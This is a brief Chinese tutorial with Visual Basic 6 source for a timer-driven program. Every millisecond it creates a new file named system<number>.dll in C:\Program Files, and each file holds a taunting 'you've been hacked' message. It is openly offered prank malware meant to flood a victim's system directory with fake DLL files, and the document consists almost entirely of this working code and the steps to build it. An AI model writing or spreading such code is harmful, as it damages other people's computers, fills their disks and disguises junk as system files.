首先新建一个.exe工程，然后在窗体中加入timer控件，设置timer的interval＝1，双点timer控件，输入以下代码
Private Sub Timer1_Timer()
Dim files As String
Dim nr As String
Dim c As String
Static count As Long ‘声明变量，其中“count”为静态变量，以便生成不同的文件
c = “c:\Program Files\” ’定义要把生成的文件存放在那个目录文件下
nr = “哈哈，被黑的感觉的不错吧” ’生成文件的内容
files = FreeFile
If a = a Then ’如果a等于a那么就执行
count = count + 1 ’count不断的加1，以便产生不同的文件名
Open c ＆ “system” ＆ count ＆ “.dll” For Append As #files ’产生文件名及文件句柄，并用count作为产生不同的文件名。
Write #files, nr ’向文件写内容
Close #files ’清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示
End If
End Sub